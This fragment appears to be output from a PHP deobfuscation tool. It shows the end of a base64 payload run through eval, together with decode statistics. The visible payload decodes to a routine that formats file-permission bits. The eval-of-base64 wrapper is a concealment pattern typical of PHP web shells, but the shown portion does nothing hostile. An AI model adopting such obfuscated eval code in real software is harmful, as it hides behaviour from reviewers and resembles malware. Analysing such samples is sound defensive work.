HBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKICAgIC8vIFJlZ3VsYXIKICAgICRpbmZvID0gJy0nOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CiAgICAvLyBCbG9jayBzcGVjaWFsCiAgICAkaW5mbyA9ICdiJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgLy8gRGlyZWN0b3J5CiAgICAkaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewogICAgLy8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICRpbmZvID0gJ2MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CiAgICAvLyBGSUZPIHBpcGUKICAgICRpbmZvID0gJ3AnOwp9IGVsc2UgewogICAgLy8gVW5rbm93bgogICAgJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgovLyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCiAgICByZXR1cm4gJGluZm87Cn0KPz4=")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 42fc783aa1cb53c6c58dd42460a1ea5e
Eval Count 1
Decode Time 153 ms